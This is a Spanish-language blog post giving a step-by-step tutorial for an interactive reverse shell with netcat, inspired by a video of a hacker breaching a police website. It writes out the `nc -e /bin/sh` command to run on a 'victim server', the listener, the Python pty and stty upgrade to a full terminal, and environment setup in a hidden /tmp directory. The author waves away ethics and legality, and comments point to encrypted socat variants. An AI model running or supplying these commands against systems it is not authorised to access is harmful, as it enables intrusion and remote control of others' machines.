domingo, 29 de mayo de 2016

Shell reversa interactiva a lo HackBack!

Hace algunos días me topé con este vídeo donde de forma muy didáctica "Hack Back!" (@GammaGroupPR), un hacker que recientemente ha ganado fama por sus hazañas al estilo Robin Hood, muestra como hackea la web de "Mossos d'Esquadra". Al margen de las implicaciones éticas, legales, morales, etc., etc. que pueda tener el contenido del vídeo, lo cierto es que se puede aprender mucho viéndolo y como siempre he defendido que el conocimiento escapa a la ética, moral, legalidad y otros calificativos, voy a compartirlo aquí en ese sentido, mas no por cualquier otro motivo.


Si no han visto el vídeo aún les sugiero que lo hagan primero para que entiendan a lo que me refiero.

Lo que más me gustó del vídeo fue como lograr una shell reversa completamente interactiva usando netcat. Así que a continuación pondré un paso a paso de como hacerlo. Resalto en rojo y con negrita lo que debemos escribir.

Shell reversa interactiva paso a paso

1. Dejamos un netcat escuchando para recibir la reverse shell

# nc -l -v -p  4444
Ncat: Version 7.12 ( https://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:4444


2. En el servidor víctima, lanzamos la reverse shell

$ nc -e /bin/sh TU_DIRECCION_IP 4444

3. Hasta este punto debemos tener una reverse shell en el netcat que dejamos escuchando. Ahora, en esa terminal, usamos el módulo "pty" de Python para obtener una terminal TTY.

# nc -l -v -p 4444
Ncat: Version 7.12 ( https://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:47390.
python -c 'import pty;pty.spawn("/bin/bash")'

bash-4.3$

4. Presionamos CTRL+Z para enviar el netcat a segundo plano.

bash-4.3$ ^Z
[1]+  Detenido                nc -l -v -p 4444


#

5. Activamos el modo "raw" y desctivamos el "echo" de la terminal.

# stty raw -echo

6. Ejecutamos el comando "fg" para regresar el netcat a primer plano. Ten en cuenta que al desactivar el "echo" no podrás ver lo que escribas. Yo lo voy a poner, pero recuerda que no se verá.

# fg 
nc -l -v -p 4444


7. Ahora ejecutamos el comando "reset" (ya podrás ver lo que escribes) para que te pregunte el tipo de terminal. Tu tipo de terminal lo puedes obtener ejecutando "echo $TERM" en otra terminal de tu equipo con las mismas características.

# nc -l -v -p 4444
                            reset
reset: unknown terminal type unknown
Terminal type? xterm-256color


8. A partir de ahora ya tienes una terminal completamente interactiva ;) Lo que queda es configurar algunas variables de entorno.

bash-4.3$ export TERM=xterm-256color
bash-4.3$ export SHELL=/bin/bash
bash-4.3$ mkdir /tmp/.home
bash-4.3$ export HOME=/tmp/.home
bash-4.3$



Un saludo.

5 comentarios:

  1. Buenas tardes, sería interesante probar este tema de la shell reversa interactiva con socat + openssl para disponer de un canal seguro en la comunicación:

    https://nerdvana.org/posts/reverse-shell-via-socat

    Saludos

    ResponderEliminar
  2. Buenas, aquí tenéis la prueba que comenté:

    http://www.hackplayers.com/2016/10/shell-inversa-interactiva-y-cifrada-con-socat.html

    Saludos

    ResponderEliminar
  3. Hola,
    no usa una shell reversa, usa una shell bind

    ResponderEliminar
    Respuestas
    1. Cierto, en el vídeo usa una shell bind. Pero en el tuto se hace como shell reversa

      Eliminar